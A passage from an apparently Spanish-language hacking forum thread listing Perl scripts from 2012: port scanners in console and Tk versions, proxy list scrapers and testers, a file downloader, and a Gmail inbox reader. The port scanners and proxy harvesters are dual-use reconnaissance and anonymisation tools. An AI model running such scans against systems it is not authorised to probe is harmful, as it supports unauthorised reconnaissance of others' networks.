        $kax->update;
        $tatus->configure( -text => $port );
        if (
            new IO::Socket::INET(
                PeerAddr => $hostx->get,
                PeerPort => $port,
                Proto    => "tcp",
                Timeout  => 0.5
            )
          )
        {
            $porters->insert( "end", $port );
        }
    }
    $tatus->configure( -text => " " );
}

sub scandos {

    $porters->delete( "0.0", "end" );
    $tatus->configure( -text => " " );

    for my $port ( $startx->get .. $endx->get ) {
        $kax->update;
        $tatus->configure( -text => $port );
        if (
            new IO::Socket::INET(
                PeerAddr => $hostx->get,
                PeerPort => $port,
                Proto    => "tcp",
                Timeout  => 0.5
            )
          )
        {
            $porters->insert( "end", $port );
        }
    }
    $tatus->configure( -text => " " );
}

# The End ?


#252
Scripting / [Perl] Scan Port 0.6
19 Mayo 2012, 17:30 PM
Un simple scanner port hecho en Perl.

Código (perl) [Seleccionar]

#!usr/bin/perl
#ScanPort 0.6
#Coded By Doddy H
#Examples
#perl scan.pl -target localhost -option fast
#perl scan.pl -target localhost -option full -parameters 1-100

use IO::Socket;
use Getopt::Long;

GetOptions(
    "-target=s"     => \$target,
    "-option=s"     => \$opcion,
    "-parameters=s" => \$parameters
);

head();
unless ($target) {
    sintax();
}
else {
    if ( $opcion eq "fast" ) {
        scanuno($target);
    }
    if ( $opcion eq "full" and $parameters ) {
        if ( $parameters =~ /(.*)-(.*)/ ) {
            my $start = $1;
            my $end   = $2;
            scandos( $target, $start, $end );
        }
    }
}

copyright();

sub scanuno {

    my %ports = (
        "21"   => "ftp",
        "22"   => "ssh",
        "25"   => "smtp",
        "80"   => "http",
        "110"  => "pop3",
        "3306" => "mysql"
    );

    print "\n[+] Scanning $_[0]\n\n\n";

    for my $port ( keys %ports ) {

        if (
            new IO::Socket::INET(
                PeerAddr => $_[0],
                PeerPort => $port,
                Proto    => "tcp",
                Timeout  => 0.5
            )
          )
        {
            print "[+] Port Found : "
              . $port
              . " [Service] : "
              . $ports{$port} . "\n";
        }
    }
    print "\n\n[+] Scan Finished\n";
}

sub scandos {

    print "\n[+] Scanning $_[0]\n\n\n";

    for my $port ( $_[1] .. $_[2] ) {

        if (
            new IO::Socket::INET(
                PeerAddr => $_[0],
                PeerPort => $port,
                Proto    => "tcp",
                Timeout  => 0.5
            )
          )
        {
            print "[+] Port Found : $port\n";
        }
    }
    print "\n\n[+] Scan Finished\n";
}

sub head {
    print "\n-- == ScanPort 0.6 == --\n\n";
}

sub copyright {
    print "\n\n-- == (C) Doddy Hackman 2012 == --\n\n";
}

sub sintax {
    print
"\n[+] sintax : $0 -target <target> -option fast/full -parameters <1-9999>\n";
}

# The End ?

#253
Scripting / [Perl Tk] Proxy Tester 0.5
12 Mayo 2012, 20:52 PM
Version Tk de un programa para buscar proxies de forma online.

Una imagen



El codigo

Código (perl) [Seleccionar]

#!usr/bin/perl
#Proxy Tester 0.5
#Version Tk
#Coded By Doddy H

use Cwd;
use Tk;
use Tk::FileSelect;
use Tk::Dialog;
use LWP::UserAgent;

my $nave = LWP::UserAgent->new();
$nave->timeout(5);
$nave->agent(
"Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12"
);

#if ($^O eq 'MSWin32') {
#use Win32::Console;
#Win32::Console::Free();
#}

my $color_texto = "green";
my $color_fondo = "black";

my $newd =
  MainWindow->new( -background => $color_fondo, -foreground => $color_texto );

$newd->title("Proxy Tester 0.5");
$newd->geometry("370x250+50+50");
$newd->resizable( 0, 0 );

$menula = $newd->Frame(
    -relief     => "sunken",
    -bd         => 1,
    -background => $color_fondo,
    -foreground => $color_texto
);
my $menulnowax = $menula->Menubutton(
    -text             => "Options",
    -underline        => 1,
    -background       => $color_fondo,
    -foreground       => $color_texto,
    -activebackground => $color_texto
)->pack( -side => "left" );
my $aboutnowax = $menula->Menubutton(
    -text             => "About",
    -underline        => 1,
    -background       => $color_fondo,
    -foreground       => $color_texto,
    -activebackground => $color_texto
)->pack( -side => "left" );
my $exitnowax = $menula->Menubutton(
    -text             => "Exit",
    -underline        => 1,
    -background       => $color_fondo,
    -foreground       => $color_texto,
    -activebackground => $color_texto
)->pack( -side => "left" );
$menula->pack( -side => "top", -fill => "x" );

$menulnowax->command(
    -label      => "Load Wordlist",
    -background => $color_fondo,
    -foreground => $color_texto,
    -command    => \&loadword
);
$menulnowax->command(
    -label      => "Check Online",
    -background => $color_fondo,
    -foreground => $color_texto,
    -command    => \&scan
);
$menulnowax->command(
    -label      => "Open Logs",
    -background => $color_fondo,
    -foreground => $color_texto,
    -command    => \&openlogs
);

$aboutnowax->command(
    -label      => "About",
    -background => $color_fondo,
    -foreground => $color_texto,
    -command    => \&aboutxa
);

$exitnowax->command(
    -label      => "Exit",
    -background => $color_fondo,
    -foreground => $color_texto,
    -command    => \&exitnow
);

$newd->Label(
    -text       => "Proxy OK",
    -font       => "Impact",
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -y => 40, -x => 75 );
my $proxy_buenos =
  $newd->Listbox( -background => $color_fondo, -foreground => $color_texto )
  ->place( -y => "80", -x => "40" );

$newd->Label(
    -text       => "Proxy Failed",
    -font       => "Impact",
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -y => 40, -x => 220 );
my $proxy_malos =
  $newd->Listbox( -background => $color_fondo, -foreground => $color_texto )
  ->place( -y => "80", -x => "200" );

MainLoop;

sub openlogs {
    my $f = "proxy-founds.txt";
    if ( -f $f ) {
        system($f);
    }
    else {
        $newd->Dialog(
            -title            => "Error",
            -buttons          => ["OK"],
            -text             => "File Not Found",
            -background       => $color_fondo,
            -foreground       => $color_texto,
            -activebackground => $color_texto
        )->Show();
    }
}

sub loadword {

    my $newdax = MainWindow->new(
        -background => $color_fondo,
        -foreground => $color_texto
    );

    $newdax->title("Load Wordlist");
    $newdax->geometry("460x50+50+50");
    $newdax->resizable( 0, 0 );

    $newdax->Label(
        -text       => "File : ",
        -font       => "Impact1",
        -background => $color_fondo,
        -foreground => $color_texto
    )->place( -y => 10, -x => 10 );
    my $filex = $newdax->Entry(
        -width      => 40,
        -background => $color_fondo,
        -foreground => $color_texto
    )->place( -y => 13, -x => 50 );
    $newdax->Button(
        -text             => "Browse",
        -width            => 10,
        -command          => \&bro,
        -background       => $color_fondo,
        -foreground       => $color_texto,
        -activebackground => $color_texto
    )->place( -y => 13, -x => 300 );
    $newdax->Button(
        -text             => "Load",
        -width            => 10,
        -command          => \&pasouno,
        -background       => $color_fondo,
        -foreground       => $color_texto,
        -activebackground => $color_texto
    )->place( -y => 13, -x => 375 );

    sub bro {
        $newd->update;
        $browse = $newd->FileSelect( -directory => getcwd() );
        my $file = $browse->Show;
        $filex->configure( -text => $file );
    }

    sub pasouno {

        my $file = $filex->get;
        $newdax->destroy();

        if ( -f $file ) {

            open( FILE, $file );
            my @words = <FILE>;
            close FILE;

            chomp @words;

            my @proxies = repes(@words);

            $proxy_buenos->delete( 0.0, "end" );
            $proxy_malos->delete( 0.0, "end" );

            $newd->title("Proxy Tester 0.5 [+] Status : Testing ...");

            for my $pro (@proxies) {
                chomp $pro;
                $newd->update;
                if ( testnow($pro) ) {
                    $proxy_buenos->insert( "end", $pro );
                }
                else {
                    $proxy_malos->insert( "end", $pro );
                }

            }

        }
        else {
            $newd->Dialog(
                -title            => "Error",
                -buttons          => ["OK"],
                -text             => "File Not Found",
                -background       => $color_fondo,
                -foreground       => $color_texto,
                -activebackground => $color_texto
            )->Show();
        }
    }
    $newd->title("Proxy Tester 0.5");
}

sub scan {

    $proxy_buenos->delete( 0.0, "end" );
    $proxy_malos->delete( 0.0, "end" );

    $newd->title("Proxy Tester 0.5 [+] Status : Searching ...");

    my @uno = getproxys();
    my @dos = getxroxy();

    #my @tres = proxyip();
    #my @cuatro = proxylist();
    #my @cinco = proxies(); #big list

    my @total = ( @uno, @dos, @tres, @cuatro, @cinco );

    $newd->update;
    $newd->title("Proxy Tester 0.5 [+] Status : Testing ...");

    my $cont = "0";
    for (@total) {
        $newd->update;
        if ( testnow($_) ) {
            $cont++;
            print "\a";    #BEEP
        }
    }
    $newd->title("Proxy Tester 0.5");
}

sub testnow {

    my $ver = shift;

    my $pro;
    my $host;
    my $port;
    my $country;
    my $save;

    my $test_proxy = LWP::UserAgent->new();
    $test_proxy->timeout(5);
    $test_proxy->agent(
"Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12"
    );

    if ( $ver =~ /(.*):(.*)/ ) {
        ( $host, $port, $country ) = ( $1, $2, "Unknown" );
        $save = $host . ":" . $port;
    }

    if ( $ver =~ /(.*):(.*):(.*)/ ) {
        ( $host, $port, $country ) = ( $1, $2, $3 );
        $save = $host . ":" . $port . ":" . $country;
    }

    my $pro = $host . ":" . $port;

    $test_proxy->proxy( "http", "http://" . $pro );
    my $code = $test_proxy->get("http://www.whatismyip.com/")->content;

    if ( $code =~ /Your IP Address Is/ ) {
        savefile( "proxy-founds.txt", $save );
        return true;
    }
}

sub getproxys {

    my @founds;
    my @volver;

    for my $num ( 1 .. 5 ) {
        $newd->update;
        my $code = toma(
"http://www.proxys.com.ar/index.php?act=list&port=&type=&country=&page=$num"
        );

        while ( $code =~
/<tr class="cells" onmouseover="this.className='cells2'" onmouseout="this.className='cells'">(.*?)<\/tr>/sig
          )
        {
            my $porcion = $1;
            chomp $porcion;

            if ( my @total = $porcion =~ m{<\s*td\s*>\s*(.*?)\s*</\s*td}mig ) {
                push( @founds, $total[1] . ":" . $total[2] . ":" . $total[4] );
            }
        }
    }

    my @volver = repes(@founds);
    return @volver;

}

sub getxroxy {

    my @founds_final;
    my @founds;

    for my $num ( 0 .. 26 ) {
        $newd->update;
        open( FILE, ">>proxy.txt" );

        my $code = toma(
"http://www.xroxy.com/proxylist.php?port=&type=&ssl=&country=&latency=1000&reliability=&sort=reliability&desc=true&pnum=$num"
        );

        while ( $code =~
            /proxy:name=XROXY proxy&host=(.*?)&port=(.*?)&notes=(.*?)&/sig )
        {
            my ( $ip, $port, $pais ) = ( $1, $2, $3 );
            $port =~ s/&isSocks=true//sig;
            $port =~ s/&socksversion=4a//sig;
            push( @founds, "$ip:$port:$pais" );
            print FILE "$ip:$port\n";
        }
    }

    my @founds_final = repes(@founds);
    return @founds_final;

}

sub proxies {

    my @founds_final;
    my @founds;

    for my $i ( 1 .. 10 ) {
        $newd->update;
        my $code =
          toma( "http://proxies.my-proxy.com/proxy-list-" . $i . ".html" );

        my @found = $code =~ m/(\d{1,3}[.]\d{1,3}[.]\d{1,3}[.]\d{1,3}:\d+)/g;

        for (@found) {
            push( @founds, "$_:Unknown" );
        }

    }

    my @founds_final = repes(@founds);
    return @founds_final;

}

sub proxyip {

    my @founds_final;
    my @founds;

    my $code = toma("http://proxy-ip-list.com/free-usa-proxy-ip.html");

    if ( $code =~ /<tbody class="table_body">(.*?)<\/table>/sig ) {
        my $codedos = $1;

        while ( $codedos =~
/<tr><td>(.*?)<\/td><td>(.*?)<\/td><td>(.*?)<\/td><td>(.*?)<\/td><td>(.*?)<\/td><\/tr>/mig
          )
        {
            my ( $ip, $pais ) = ( $1, $5 );
            push( @founds, "$ip:$pais" );
        }
    }

    my @founds_final = repes(@founds);
    return @founds_final;

}

sub proxylist {

    my @founds_final;
    my @founds;

    my $code = toma("http://www.proxylist.net/");

    while ( $code =~
/<tr><td><a href="(.*?)">(.*?)<\/a><\/td><td><a href="(.*?)">(.*?)<\/a><\/td>/mig
      )
    {
        my ( $ip, $pais ) = ( $2, $4 );
        push( @founds, "$ip:$pais" );
    }

    my @founds_final = repes(@founds);
    return @founds_final;

}

sub aboutxa {

    $newd->Dialog(
        -title            => "About",
        -buttons          => ["OK"],
        -text             => "Coded By Doddy H",
        -background       => $color_fondo,
        -foreground       => $color_texto,
        -activebackground => $color_texto
    )->Show();

}

sub exitnow { exit 1; }

sub savefile {
    open( SAVE, ">>" . $_[0] );
    print SAVE $_[1] . "\n";
    close SAVE;
}

sub toma {
    return $nave->get( $_[0] )->content;
}

sub repes {
    my @limpio;
    foreach $test (@_) {
        push @limpio, $test unless $repe{$test}++;
    }
    return @limpio;
}

#The End ?
#254
Scripting / [Perl] Proxy Tester 0.5
12 Mayo 2012, 20:51 PM
Version mejorada de un programa para buscar proxies de forma online para despues verificar el estado de cada uno.

El codigo

Código (perl) [Seleccionar]

#!usr/bin/perl
#Proxy Tester 0.5
#Coded By Doddy H

use LWP::UserAgent;

my $nave = LWP::UserAgent->new();
$nave->timeout(5);
$nave->agent(
"Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12"
);

while (1) {
    head();
    print "\n[+] Option : ";
    chomp( my $op = <stdin> );

    if ( $op eq "1" ) {
        print "\n\n[+] File : ";
        chomp( my $file = <stdin> );
        if ( -f $file ) {
            print "\n[+] Opening file ...\n\n";
            open( FILE, $file );
            my @words = <FILE>;
            close FILE;
            my @proxies = repes(@words);
            print "[+] Proxies Found : " . int(@proxies) . "\n";
            print "\n[+] Testing ....\n\n";
            my $cont = "0";

            for (@proxies) {
                if ( testnow($_) ) {
                    $cont++;
                    print "\a";    #BEEP
                }
            }
            print "\n[+] Proxies Found : " . $cont . "\n";
            print "\n\n[+] Finished\n\n";
            <stdin>;
        }
        else {
            print "\n\n[-] File not found\n";
            copyright();
        }
    }

    if ( $op eq "2" ) {
        print "\n\n[+] Getting proxies ...\n\n";

        my @uno    = getproxys();
        my @dos    = getxroxy();
        my @tres   = proxyip();
        my @cuatro = proxylist();
        my @cinco  = proxies();     #big list

        my @total = ( @uno, @dos, @tres, @cuatro, @cinco );

        print "[+] Proxies Found : " . int(@total) . "\n";
        print "\n[+] Testing .....\n\n";

        my $cont = "0";
        for (@total) {
            if ( testnow($_) ) {
                $cont++;
                print "\a";         #BEEP
            }
        }

        print "\n[+] Proxies Found : " . $cont . "\n";
        print "\n\n[+] Finished\n\n";
        <stdin>;
    }

    if ( $op eq "3" ) {
        copyright();
    }

}
copyright();

sub testnow {

    my $ver = shift;

    my $pro;
    my $host;
    my $port;
    my $country;
    my $save;

    my $test_proxy = LWP::UserAgent->new();
    $test_proxy->timeout(5);
    $test_proxy->agent(
"Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12"
    );

    if ( $ver =~ /(.*):(.*)/ ) {
        ( $host, $port, $country ) = ( $1, $2, "Unknown" );
        $save = $host . ":" . $port;
    }

    if ( $ver =~ /(.*):(.*):(.*)/ ) {
        ( $host, $port, $country ) = ( $1, $2, $3 );
        $save = $host . ":" . $port . ":" . $country;
    }

    my $pro = $host . ":" . $port;

    $test_proxy->proxy( "http", "http://" . $pro );
    my $code = $test_proxy->get("http://www.whatismyip.com/")->content;

    if ( $code =~ /Your IP Address Is/ ) {
        print "[+] IP : $host\n";
        print "[+] Port : $port\n";
        print "[+] Country : $country\n\n";
        savefile( "proxy-founds.txt", $save );
        return true;
    }
}

sub getproxys {

    my @founds;
    my @volver;

    for my $num ( 1 .. 5 ) {
        my $code = toma(
"http://www.proxys.com.ar/index.php?act=list&port=&type=&country=&page=$num"
        );

        while ( $code =~
/<tr class="cells" onmouseover="this.className='cells2'" onmouseout="this.className='cells'">(.*?)<\/tr>/sig
          )
        {
            my $porcion = $1;
            chomp $porcion;

            if ( my @total = $porcion =~ m{<\s*td\s*>\s*(.*?)\s*</\s*td}mig ) {
                push( @founds, $total[1] . ":" . $total[2] . ":" . $total[4] );
            }
        }
    }

    my @volver = repes(@founds);
    return @volver;

}

sub getxroxy {

    my @founds_final;
    my @founds;

    for my $num ( 0 .. 26 ) {

        open( FILE, ">>proxy.txt" );

        my $code = toma(
"http://www.xroxy.com/proxylist.php?port=&type=&ssl=&country=&latency=1000&reliability=&sort=reliability&desc=true&pnum=$num"
        );

        while ( $code =~
            /proxy:name=XROXY proxy&host=(.*?)&port=(.*?)&notes=(.*?)&/sig )
        {
            my ( $ip, $port, $pais ) = ( $1, $2, $3 );
            $port =~ s/&isSocks=true//sig;
            $port =~ s/&socksversion=4a//sig;
            push( @founds, "$ip:$port:$pais" );
            print FILE "$ip:$port\n";
        }
    }

    my @founds_final = repes(@founds);
    return @founds_final;

}

sub proxies {

    my @founds_final;
    my @founds;

    for my $i ( 1 .. 10 ) {

        my $code =
          toma( "http://proxies.my-proxy.com/proxy-list-" . $i . ".html" );

        my @found = $code =~ m/(\d{1,3}[.]\d{1,3}[.]\d{1,3}[.]\d{1,3}:\d+)/g;

        for (@found) {
            push( @founds, "$_:Unknown" );
        }

    }

    my @founds_final = repes(@founds);
    return @founds_final;

}

sub proxyip {

    my @founds_final;
    my @founds;

    my $code = toma("http://proxy-ip-list.com/free-usa-proxy-ip.html");

    if ( $code =~ /<tbody class="table_body">(.*?)<\/table>/sig ) {
        my $codedos = $1;

        while ( $codedos =~
/<tr><td>(.*?)<\/td><td>(.*?)<\/td><td>(.*?)<\/td><td>(.*?)<\/td><td>(.*?)<\/td><\/tr>/mig
          )
        {
            my ( $ip, $pais ) = ( $1, $5 );
            push( @founds, "$ip:$pais" );
        }
    }

    my @founds_final = repes(@founds);
    return @founds_final;

}

sub proxylist {

    my @founds_final;
    my @founds;

    my $code = toma("http://www.proxylist.net/");

    while ( $code =~
/<tr><td><a href="(.*?)">(.*?)<\/a><\/td><td><a href="(.*?)">(.*?)<\/a><\/td>/mig
      )
    {
        my ( $ip, $pais ) = ( $2, $4 );
        push( @founds, "$ip:$pais" );
    }

    my @founds_final = repes(@founds);
    return @founds_final;

}

sub head {
    print qq(


@@@@@                        @@@@@                       
@    @                         @               @         
@    @                         @               @         
@    @ @@  @@@  @  @ @  @      @     @@@   @@  @@  @@@  @@
@@@@@  @  @   @ @  @ @  @      @    @   @ @  @ @  @   @ @
@      @  @   @  @@  @  @      @    @@@@@  @   @  @@@@@ @
@      @  @   @  @@  @  @      @    @       @  @  @     @
@      @  @   @ @  @  @@       @    @   @ @  @ @  @   @ @
@      @   @@@  @  @  @        @     @@@   @@   @  @@@  @
                       @                                   
                     @@                                   


[++] Options

[+] 1 : Load wordlist
[+] 2 : Check Online
[+] 3 : Exit

);

}

sub copyright {
    print "\n\n(C) Doddy Hackman 2012\n\n";
    <stdin>;
    exit(1);
}

sub savefile {
    open( SAVE, ">>" . $_[0] );
    print SAVE $_[1] . "\n";
    close SAVE;
}

sub repes {
    my @limpio;
    foreach $test (@_) {
        push @limpio, $test unless $repe{$test}++;
    }
    return @limpio;
}

sub toma {
    return $nave->get( $_[0] )->content;
}

#The End ?
#255
Scripting / [Perl Tk] Simple Downloader 0.1
6 Mayo 2012, 02:08 AM
Version Tk de un simple programa en Perl para bajar archivos.

Una imagen



El codigo

Código (perl) [Seleccionar]

#!usr/bin/perl
#Simple downloader 0.1
#Version Tk
#Coded By Doddy H

use Tk;
use Tk::Dialog;
use LWP::UserAgent;
use URI::Split qw(uri_split);

my $color_fondo = "black";
my $color_texto = "green";

my $nave = LWP::UserAgent->new;
$nave->agent(
"Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12"
);
$nave->timeout(20);

if ( $^O eq 'MSWin32' ) {
    use Win32::Console;
    Win32::Console::Free();
}

my $dron =
  MainWindow->new( -background => $color_fondo, -foreground => $color_texto );
$dron->geometry("430x70+20+20");
$dron->resizable( 0, 0 );
$dron->title("Simple Downloader 0.1 || [+] Status : <None>");

$dron->Label(
    -text       => "URL : ",
    -font       => "Impact",
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 20, -y => 20 );
my $pre = $dron->Entry(
    -width      => 45,
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 60, -y => 27 );
$dron->Button(
    -command          => \&now,
    -text             => "Download",
    -width            => 10,
    -background       => $color_fondo,
    -foreground       => $color_texto,
    -activebackground => $color_texto
)->place( -x => 340, -y => 25 );

MainLoop;

sub now {

    my ( $scheme, $auth, $path, $query, $frag ) = uri_split( $pre->get );
    $dron->title("Simple Downloader 0.1 || [+] Status : Downloading..");
    if ( $path =~ /(.*)\/(.*)$/ ) {
        my $file = $2;
        if ( download( $pre->get, $file ) ) {
            $dron->Dialog(
                -title            => "OK",
                -buttons          => ["OK"],
                -text             => "File downloaded",
                -background       => $color_fondo,
                -foreground       => $color_texto,
                -activebackground => $color_texto
            )->Show();
        }
        else {
            $dron->Dialog(
                -title            => "Error",
                -buttons          => ["OK"],
                -text             => "Error",
                -background       => $color_fondo,
                -foreground       => $color_texto,
                -activebackground => $color_texto
            )->Show();
        }
    }
    $dron->title("Simple Downloader 0.1 || [+] Status : <None>");
}

sub download {
    if ( $nave->mirror( $_[0], $_[1] ) ) {
        if ( -f $_[1] ) {
            return true;
        }
    }
}

#The End ?

#256
Scripting / [Perl] Simple Downloader 0.1
6 Mayo 2012, 02:08 AM
Un simple script en perl para bajar archivos.

Código (perl) [Seleccionar]

#!usr/bin/perl
#Simple downloader 0.1
#Coded By Doddy H

use LWP::UserAgent;
use URI::Split qw(uri_split);

my $nave = LWP::UserAgent->new;
$nave->agent(
"Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12"
);
$nave->timeout(20);

head();
unless ( $ARGV[0] ) {
    sintax();
}
else {
    now( $ARGV[0] );
}
copyright();

sub now {

    my ( $scheme, $auth, $path, $query, $frag ) = uri_split( $_[0] );

    if ( $path =~ /(.*)\/(.*)$/ ) {
        my $file = $2;
        print "\n[+] Downloading ....\n";
        if ( download( $_[0], $file ) ) {
            print "\n[+] File downloaded\n";
        }
        else {
            print "\n[-] Error\n";
        }
    }
}

sub sintax {
    print "\n[+] Sintax : $0 <url>\n";
}

sub head {
    print "\n-- == Simple Downloader == --\n\n";
}

sub copyright {
    print "\n\n(C) Doddy Hackman 2012\n\n";
    exit(1);
}

sub download {
    if ( $nave->mirror( $_[0], $_[1] ) ) {
        if ( -f $_[1] ) {
            return true;
        }
    }
}

#The End ?


#257
Scripting / [Perl Tk] Gmail Inbox 0.1
28 Abril 2012, 16:50 PM
Un simple programa en Perl para leer el correo usando Gmail.

Una imagen



El codigo

Código (perl) [Seleccionar]

#!usr/bin/perl
#Gmail Inbox 0.1
#Version Tk
#Coded By Doddy H
#Modules
#ppm install http://www.open.com.au/radiator/free-downloads/Net-SSLeay.ppd
#http://search.cpan.org/~sullr/IO-Socket-SSL-1.54/SSL.pm
#http://search.cpan.org/~fays/GMail-Checker-1.04/Checker.pm

use Tk;
use Tk::HList;
use Tk::ROText;
use GMail::Checker;
use HTML::Strip;

if ( $^O eq 'MSWin32' ) {
    use Win32::Console;
    Win32::Console::Free();
}

my $yeahfucktk = MainWindow->new();
$yeahfucktk->title(
    "Gmail Inbox 0.1 || Coded by Doddy H || [+] Status : <None>");
$yeahfucktk->geometry("870x220+20+20");
$yeahfucktk->resizable( 0, 0 );

my $agen = $yeahfucktk->Scrolled( HList,
    -columns    => 4,
    -header     => 1,
    -width      => 80,
    -scrollbars => "se"
)->place( -x => 20, -y => 20 );

$agen->headerCreate( 0, -text => "ID" );
$agen->headerCreate( 1, -text => "From" );
$agen->headerCreate( 2, -text => "Subject" );
$agen->headerCreate( 3, -text => "Date" );

$agen->bind( "<Double-1>", [ \&yeah ] );

$yeahfucktk->Label( -text => "Gmail Login", -font => "Impact" )
  ->place( -x => 650, -y => 20 );
$yeahfucktk->Label( -text => "Username : ", -font => "Impact1" )
  ->place( -x => 565, -y => 68 );
my $username = $yeahfucktk->Entry( -width => 30 )->place( -x => 653, -y => 73 );
$yeahfucktk->Label( -text => "Password : ", -font => "Impact1" )
  ->place( -x => 565, -y => 100 );
my $password =
  $yeahfucktk->Entry( -width => 30, -show => "*" )
  ->place( -x => 653, -y => 103 );
$yeahfucktk->Button(
    -text    => "Messages list",
    -width   => 20,
    -command => \&startnow
)->place( -x => 640, -y => 150 );

MainLoop;

sub startnow {
    $agen->delete( "all", 0 );
    my $total = total( $username->get, $password->get );
    $yeahfucktk->title(
"Gmail Inbox 0.1 || Coded by Doddy H || [+] Status : $total messages found"
    );

    for ( reverse 1 .. $total ) {
        $yeahfucktk->update;
        $yeahfucktk->title(
"Gmail Inbox 0.1 || Coded by Doddy H || [+] Status : Getting message $_"
        );
        my ( $from, $asunto, $date ) =
          getdata( $username->get, $password->get, $_ );

        $agen->add($_);
        $agen->itemCreate( $_, 0, -text => $_ );
        $agen->itemCreate( $_, 1, -text => $from );
        $agen->itemCreate( $_, 2, -text => $asunto );
        $agen->itemCreate( $_, 3, -text => $date );

    }
    $yeahfucktk->title(
        "Gmail Inbox 0.1 || Coded by Doddy H || [+] Status : <None>");
}

sub total {
    my $mod_total = new GMail::Checker( USERNAME => $_[0], PASSWORD => $_[1] );
    my ( $a, $b ) = $mod_total->get_msg_nb_size("TOTAL_MSG");
    return $a;
}

sub getdata {

    my $mod_msg = new GMail::Checker( USERNAME => $_[0], PASSWORD => $_[1] );
    my @msg = $mod_msg->get_msg( MSG => $_[2] );

    my $mas = $msg[0]->{headers};

    if ( $mas =~ /From: (.*)/ig ) {
        $from = $1;
    }

    if ( $mas =~ /Subject: (.*)/ig ) {
        $asunto = $1;
    }

    if ( $mas =~ /Date: (.*)/ig ) {
        $date = $1;
    }
    return ( $from, $asunto, $date );
}

sub yeah {
    my @ar = $agen->selectionGet();
    openmessage( $username->get, $password->get, $ar[0] );
}

sub openmessage {

    my $cons = MainWindow->new();
    $cons->geometry("500x350+20+20");
    $cons->resizable( 0, 0 );
    $cons->title("Reading message");

    my $conso = $cons->Scrolled(
        "ROText",
        -width      => 70,
        -height     => 40,
        -scrollbars => "e"
    )->pack();

    my $mod_msg = new GMail::Checker( USERNAME => $_[0], PASSWORD => $_[1] );

    my @msg = $mod_msg->get_msg( MSG => $_[2] );

    $conso->insert( "end", "[+] ID : $_[2]\n" );

    my $mas = $msg[0]->{headers};

    if ( $mas =~ /From: (.*)/ig ) {
        my $from = $1;
        $conso->insert( "end", "[+] From : $from\n" );
    }

    if ( $mas =~ /To: (.*)/ig ) {
        my $to = $1;
        $conso->insert( "end", "[+] To : $to\n" );
    }

    if ( $mas =~ /Subject: (.*)/ig ) {
        my $asunto = $1;
        $conso->insert( "end", "[+] Subject : $asunto\n" );
    }

    if ( $mas =~ /Date: (.*)/ig ) {
        my $date = $1;
        $conso->insert( "end", "[+] Date : $date\n\n" );
    }

    my $text = $msg[0]->{body};
    if ( $text =~
        /<body class=3D'hmmessage'><div dir=3D'ltr'>(.*?)<\/div><\/body>/sig )
    {
        my $body = $1;
        $body =~ s/<br>/\n/g;

        my $uno = HTML::Strip->new( emit_spaces => 1 );
        my $body = $uno->parse($body);
        $conso->insert( "end", $body );
    }
}

#The End ?
#258
Scripting / [Perl] Gmail Inbox 0.1
28 Abril 2012, 16:50 PM
Acabo de terminar un simple programa en Perl para poder leer mis mensajes de mi cuenta de correo Gmail , no es nada del otro mundo solo ponen el usuario y la contraseña de la cuenta y el programa carga un menu en el cual pueden listar todos los mensajes o leer un mensaje completo.

El codigo

Código (perl) [Seleccionar]

#!usr/bin/perl
#Gmail Inbox 0.1
#Coded By Doddy H
#Modules
#ppm install http://www.open.com.au/radiator/free-downloads/Net-SSLeay.ppd
#http://search.cpan.org/~sullr/IO-Socket-SSL-1.54/SSL.pm
#http://search.cpan.org/~fays/GMail-Checker-1.04/Checker.pm

use GMail::Checker;
use HTML::Strip;

head();

print "\n\n[+] Username : ";
chomp( my $user = <stdin> );
print "\n[+] Password : ";
chomp( my $pass = <stdin> );

while (1) {
    print "\n\n[+] Options\n\n";
    print "[1] : Messages list\n";
    print "[2] : Read Message\n";
    print "[3] : Exit\n\n";
    print "[+] Option : ";
    chomp( my $op = <stdin> );

    if ( $op eq "1" ) {
        listar( $user, $pass );
    }
    elsif ( $op eq "2" ) {
        print "\n[+] ID : ";
        chomp( my $id = <stdin> );
        getallmsg( $user, $pass, $id );
    }
    elsif ( $op eq "3" ) {
        copyright();
    }
    else {
        print "\n\n[-] Bad Option\n\n";
    }
}

sub listar {

    my $total = total( $_[0], $_[1] );
    print "\n[+] Messages found : $total\n\n";

    for my $num ( 1 .. $total ) {
        getdata( $_[0], $_[1], $num );
    }
}

sub total {
    my $mod_total = new GMail::Checker( USERNAME => $_[0], PASSWORD => $_[1] );
    my ( $a, $b ) = $mod_total->get_msg_nb_size("TOTAL_MSG");
    return $a;
}

sub getdata {

    my $mod_msg = new GMail::Checker( USERNAME => $_[0], PASSWORD => $_[1] );

    my @msg = $mod_msg->get_msg( MSG => $_[2] );

    print "\n[+] ID : $_[2]\n\n";

    my $mas = $msg[0]->{headers};

    if ( $mas =~ /From: (.*)/ig ) {
        my $from = $1;
        print "[+] From : $from\n";
    }

    if ( $mas =~ /Subject: (.*)/ig ) {
        my $asunto = $1;
        print "[+] Subject : $asunto\n";
    }

    if ( $mas =~ /Date: (.*)/ig ) {
        my $date = $1;
        print "[+] Date : $date\n";
    }

}

sub getallmsg {

    print "\n[+] Reading message\n\n";

    my $mod_msg = new GMail::Checker( USERNAME => $_[0], PASSWORD => $_[1] );

    my @msg = $mod_msg->get_msg( MSG => $_[2] );

    print "[+] ID : $_[2]\n\n";

    my $mas = $msg[0]->{headers};

    if ( $mas =~ /From: (.*)/ig ) {
        my $from = $1;
        print "[+] From : $from\n";
    }

    if ( $mas =~ /To: (.*)/ig ) {
        my $to = $1;
        print "[+] To : $to\n";
    }

    if ( $mas =~ /Subject: (.*)/ig ) {
        my $asunto = $1;
        print "[+] Subject : $asunto\n";
    }

    if ( $mas =~ /Date: (.*)/ig ) {
        my $date = $1;
        print "[+] Date : $date\n";
    }

    my $text = $msg[0]->{body};
    if ( $text =~
